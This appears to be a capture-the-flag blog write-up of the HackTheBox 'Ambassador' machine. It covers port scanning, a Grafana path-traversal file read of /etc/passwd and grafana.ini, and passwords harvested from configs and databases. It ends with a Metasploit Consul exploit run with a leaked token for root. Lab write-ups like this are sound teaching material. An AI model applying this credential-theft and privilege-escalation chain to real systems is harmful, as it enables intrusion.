This blog post is a writeup for the ambassador machine from hackthebox. Exploiting a path traversal vulnerability in grafana gets the user shell and using consul service gets the root privilege. This was a medium-level machine requiring web application security, enumeration, and privilege escalation skills.
Enumeration
Threader3000 results:
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------------------------------------------------------------
Threader 3000 - Multi-threaded Port Scanner
Version 1.0.7
A project by The Mayor
------------------------------------------------------------
Enter your target IP address or URL here: 10.129.71.205
------------------------------------------------------------
Scanning target 10.129.71.205
Time started: 2022-10-04 01:13:18.889578
------------------------------------------------------------
Port 22 is open
Port 80 is open
Port 3000 is open
Port 3306 is open
Port scan completed in 0:01:33.489371
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p22,80,3000,3306 -sV -sC -T4 -Pn -oA 10.129.71.205 10.129.71.205
Running suggested nmap scan:
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Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-04 01:15 IST
Nmap scan report for 10.129.71.205
Host is up (0.40s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
| 256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
|_ 256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Mon, 03 Oct 2022 19:46:04 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Mon, 03 Oct 2022 19:45:18 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Mon, 03 Oct 2022 19:45:27 GMT
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 12
| Capabilities flags: 65535
| Some Capabilities: InteractiveClient, LongColumnFlag, Speaks41ProtocolNew, ConnectWithDatabase, FoundRows, SwitchToSSLAfterHandshake, Support41Auth, LongPassword, SupportsTransactions, ODBCClient, Speaks41ProtocolOld, IgnoreSigpipes, SupportsCompression, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: 5\x0Fhi\x0D\x1F<6dWh\x185'\x0FG:
| f\x03
|_ Auth Plugin Name: caching_sha2_password
|_ssl-date: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.92%I=7%D=10/4%Time=633B3BCE%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contro
SF:l:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpir
SF:es:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:\
SF:x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conten
SF:t-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protect
SF:ion:\x201;\x20mode=block\r\nDate:\x20Mon,\x2003\x20Oct\x202022\x2019:45
SF::18\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found<
SF:/a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCac
SF:he-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPra
SF:gma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20HttpO
SF:nly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-O
SF:ptions:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Mo
SF:n,\x2003\x20Oct\x202022\x2019:45:27\x20GMT\r\nContent-Length:\x200\r\n\
SF:r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSess
SF:ionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found\
SF:r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset
SF:=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\
SF:r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.txt
SF:%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201;
SF:\x20mode=block\r\nDate:\x20Mon,\x2003\x20Oct\x202022\x2019:46:04\x20GMT
SF:\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.02 seconds
------------------------------------------------------------
Combined scan completed in 0:04:42.087606
web server at port 80:
gobuster directory and file scan didn’t bring any interesting results.
web server at port 3000: grafana v8.2.0 (d7f71e9eae)
searchsploit results:
Gaining Shell
Lets try the arbitrary file read exploit:
passwd file:
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root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
Important config file for grafana (source): /etc/grafana/grafana.ini
From the config file, we get the following credentials:
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# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = messageInABottle685427
and grafana:root for db. :)
I can succesfully login into grafana using the credentials.
interesting output from grafana’s db:
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sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-10-03 11:32:21|0|{}|1|uKewFgM4z
using this to access mysql db:
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mysql -u grafana -pdontStandSoCloseToMe63221! -h 10.129.71.205
Getting the list of databases:
found users creds in whackywidget :
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developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==
looks like base64 :p :
huhhh
1
anEnglishManInNewYork027468
Finally:
user flag is present at home/developer.
Privilege Escalation
There seems to be a program consul running but ;-; but couldn’t find any vulnerabilities to exploit other than rce. + there’s my-app at /opt
:P interesting results :
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git show
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consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
searchsploit results:
:-; as I couldn’t find anything else, Lets try this using metasploit:
Setting up port forwarding:
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ssh -L 8500:0.0.0.0:8500 developer@10.129.71.205
setting up the options in metasploit with ACL_TOKEN as the token received from the git diffs.
running the exploit:
ohoo, successfully rooted: wtf :p.
